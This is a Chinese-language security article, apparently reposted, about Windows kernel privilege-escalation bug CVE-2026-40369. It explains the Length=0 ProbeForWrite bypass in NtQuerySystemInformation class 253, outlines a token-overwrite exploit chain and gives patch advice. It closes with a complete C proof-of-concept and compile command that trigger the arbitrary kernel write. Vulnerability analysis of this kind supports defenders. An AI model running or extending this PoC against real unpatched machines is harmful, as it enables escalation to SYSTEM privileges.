Win内核LPE漏洞PoC公开,从Chrome沙箱也能提权

admin 2026-06-08 04:48:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露了Windows内核LPE漏洞CVE-2026-40369的技术细节,该漏洞存在于ntoskrnl.exe的NtQuerySystemInformation系统调用中,攻击者可通过传入Length=0绕过ProbeForWrite检查实现任意内核地址递增写入。漏洞影响Windows11全系列及Server2025未打补丁系统,且可直接从Chrome沙箱触发完成提权。公开PoC已包含KASLR泄露与完整利用链,建议立即通过WindowsUpdate安装补丁修复。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,红队,内核安全,应急响应


cover_image

Win 内核 LPE 漏洞 PoC 公开,从 Chrome 沙箱也能提权

原创

Red Hunter Red Hunter

黑白之道

2026年5月18日 08:31 江西

在小说阅读器读本章

去阅读

导语:一个 CVSS 7.8 的漏洞,听起来”只是中危”——但当你知道攻击者可以从 Chrome 沙箱里稳定触发它、直接拿到系统最高权限,你就知道这个分数有多讽刺了。2026年5月12日,微软在每月例行补丁日修复了 CVE-2026-40369。不到一周,GitHub 上已经有了完整的利用代码。利用窗口正在收紧,你准备好了吗?


一、漏洞概述:一个”不该存在”的内核地址写入原语

CVE-2026-40369 是 Windows 内核 ntoskrnl.exe 中的一个任意内核地址写入漏洞。普通攻击者只需要具备本地低权限执行能力——哪怕在 Chrome 沙箱这样的受限环境里——就能构造特制的系统调用请求,绕过内核内存保护机制,直接获取系统最高权限。

漏洞的核心关键词:ProbeForWrite 绕过 + 任意内核地址递增写入

这两个词搞在一起,就是一个完美的本地权限提升原语。

二、影响范围:Windows 11 全系列中招,Server 2025 也在列

受影响的版本范围:

  • Windows 11 24H2(Build < 10.0.26100.8457)
  • Windows 11 25H2(Build < 10.0.26200.8457)
  • Windows 11 26H1(Build < 10.0.28000.2113)
  • Windows Server 2025(Build < 10.0.26100.32860)

只要你用的是 Windows 11 或者 Server 2025,并且没打5月12日的补丁,都在这个漏洞的射程内。

三、技术原理:NtQuerySystemInformation 是怎么被滥用的

这部分是核心,耐心看。你不需要懂内核开发,只要跟上逻辑。

3.1 问题的起点:ProbeForWrite 被”长度=0″绕过

正常情况下,Windows 内核函数在处理用户态传入的内存地址时,会调用一个叫 ProbeForWrite 的函数来做安全检查——它会验证你要写入的内存地址确实是用户态可写的,防止应用程序越界写到内核去。

但这里有个设计缺陷:如果 Length 参数传的是 0,ProbeForWrite 直接变成空操作(NO-OP),整个函数体在 Length 检查处就 return 了,根本不执行任何验证。

而 NtQuerySystemInformation 这个系统调用,正好允许你传入任意指针作为输出缓冲区,同时传 Length=0——这意味着攻击者可以把任意内核地址传进去,而 ProbeForWrite 因为长度为0而完全不检查。

3.2 真正的问题在 ExpGetProcessInformation

NtQuerySystemInformation 有很多信息类别(info class),其中 class 253(SystemProcessInformationExtension)在查询进程信息时会调用 ntoskrnl.exe 里的 ExpGetProcessInformation 函数。

关键问题出在这个函数的第 253 类处理路径上:

// ExpGetProcessInformation 简化逻辑
v95 = buffer; &nbsp;// buffer 是攻击者控制的内核地址(因为 Length=0 绕过了检查)

while&nbsp;(NextProcess) {
&nbsp; &nbsp;&nbsp;if&nbsp;(infoClass ==&nbsp;253) {
&nbsp; &nbsp; &nbsp; &nbsp; ++*v95; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 在攻击者指定的内核地址上做 +1 操作
&nbsp; &nbsp; &nbsp; &nbsp; v95[1] += ...; &nbsp;// 在地址+4 处累加线程数
&nbsp; &nbsp; &nbsp; &nbsp; v95[2] += ...; &nbsp;// 在地址+8 处累加句柄数
&nbsp; &nbsp; }
}

也就是说:只要调用一次这个系统调用,系统里每存在一个进程,就会在你指定的内核地址上执行一次写操作。addr+0 处会被加上进程总数,addr+4 处会加上所有进程的线程数之和,addr+8 处会加上所有进程的句柄数之和。

这不是普通的内存破坏——这是一个精确可控的写入原语。

3.3 为什么这么危险:可以从 Chrome 沙箱触发

普通的沙箱逃逸需要几个步骤。但这个漏洞特殊在于:NtQuerySystemInformation 这个系统调用在 Windows 的很多沙箱限制里都不被阻止

具体来说:

  • Chrome 沙箱的 win32k lockdown 不阻止这个 syscall
  • 受限令牌(restricted token)不阻止这个 syscall
  • 不受信任的完整性级别(untrusted integrity level)不阻止这个 syscall

换句话说:Chrome 沙箱里的渲染进程,只要能执行代码,就能直接调用这个系统调用拿到 SYSTEM 权限,不需要额外的沙箱逃逸步骤。

四、漏洞利用链:KASLR 泄露 + 内核写入原语 = 完整提权

有了写入原语,还需要解决一个问题:KASLR(内核地址空间布局随机化)

内核地址每次启动都是随机的,攻击者不知道把”递增写入”送到哪里才能实现提权。好消息是,GitHub 上的公开 PoC 本身附带了一个 KASLR 泄露模块,利用 prefetch-tool 工具可以从用户态获取内核模块基址——加上这次漏洞的任意写入,就能组合成一条完整的提权链:

第一步:用 KASLR 泄露获取 ntoskrnl.exe 的基址 第二步:定位内核 Token 对象(存储进程权限信息的数据结构) 第三步:通过 CVE-2026-40369 的递增写入原语,将当前进程的 Token 权限位设置为 SYSTEM 第四步:此时当前进程已拥有 SYSTEM 权限,启动一个 SYSTEM 级别的 cmd.exe,完成提权

PoC 代码100%确定性稳定触发,不是”可能可以”而是”一定可以”。

五、修复建议:现在就做,不要等

方法一:Windows Update 自动更新(推荐)

开启 Microsoft Update 后,系统会自动检测并下载该补丁,下次重启时自动安装。打完补丁后记得重启。

方法二:手动下载安装

访问微软官方安全公告页面:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369,选择对应系统版本的补丁进行下载安装,完成后重启。

方法三:临时缓解

如果不方便立即更新,可以考虑:

  • 限制非管理员用户运行浏览器渲染进程
  • 监控 NtQuerySystemInformation 的异常调用(尤其是 class 253)
  • 在 endpoint 防护产品中部署针对性的攻击检测规则

但缓解措施只是拖延时间,补丁才是最终解决方案

六、完整 PoC 示例

以下代码来自 GitHub 公开仓库 orinimron123/CVE-2026-40369-EXPLOIT,演示了漏洞的核心原语——任意内核地址递增写入。

#include&nbsp;<windows.h>
#include&nbsp;<stdio.h>

#pragma&nbsp;comment(lib,&nbsp;"ntdll.lib")

typedeflong&nbsp;NTSTATUS;
#define&nbsp;SystemProcessInformationExtension 253

typedefNTSTATUS(NTAPI *PNtQuerySystemInformation)(
&nbsp; &nbsp; ULONG SystemInformationClass,
&nbsp; &nbsp; PVOID SystemInformation,
&nbsp; &nbsp; ULONG SystemInformationLength,
&nbsp; &nbsp; PULONG ReturnLength
);

intmain(void)
{
&nbsp; &nbsp; PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
&nbsp; &nbsp; &nbsp; &nbsp; GetProcAddress(GetModuleHandleW(L"ntdll.dll"),&nbsp;"NtQuerySystemInformation");

&nbsp; &nbsp;&nbsp;// 任意内核地址:攻击者可替换为真实内核对象地址
&nbsp; &nbsp; PVOID target = (PVOID)0xffff800041424344ULL;

&nbsp; &nbsp;&nbsp;printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
&nbsp; &nbsp;&nbsp;printf("[*] Target kernel address: %p\n", target);
&nbsp; &nbsp;&nbsp;printf("[*] Will write:\n");
&nbsp; &nbsp;&nbsp;printf(" &nbsp; &nbsp; [target+0] += num_processes (DWORD increment)\n");
&nbsp; &nbsp;&nbsp;printf(" &nbsp; &nbsp; [target+4] += total_threads (DWORD add)\n");
&nbsp; &nbsp;&nbsp;printf(" &nbsp; &nbsp; [target+8] += total_handles (DWORD add)\n");
&nbsp; &nbsp;&nbsp;printf("\n[!] This WILL bugcheck if the address is not mapped writable memory.\n");
&nbsp; &nbsp;&nbsp;printf("[*] Press Enter to trigger...\n");
&nbsp; &nbsp; getchar();

&nbsp; &nbsp; ULONG needed =&nbsp;0;
&nbsp; &nbsp; NTSTATUS status = pNtQSI(
&nbsp; &nbsp; &nbsp; &nbsp; SystemProcessInformationExtension,
&nbsp; &nbsp; &nbsp; &nbsp; target, &nbsp;&nbsp;// 内核地址 —— 因为 Length=0,ProbeForWrite 完全被绕过
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0, &nbsp; &nbsp; &nbsp; &nbsp;// Length=0 是绕过关键
&nbsp; &nbsp; &nbsp; &nbsp; &needed
&nbsp; &nbsp; );

&nbsp; &nbsp;&nbsp;printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
&nbsp; &nbsp;&nbsp;printf("[*] Required length: %lu\n", needed);
&nbsp; &nbsp;&nbsp;printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");

&nbsp; &nbsp;&nbsp;return0;
}

编译方式cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib

注意:上述代码是演示漏洞原理的最小 PoC,完整提权还需组合 KASLR 泄露(可搭配 prefetch-tool)修改内核 Token 对象。

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。


👇 点击阅读原文,访问我的网站



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 Red Hunter Red Hunter《Win 内核 LPE 漏洞 PoC 公开,从 Chrome 沙箱也能提权》

评论:0   参与:  0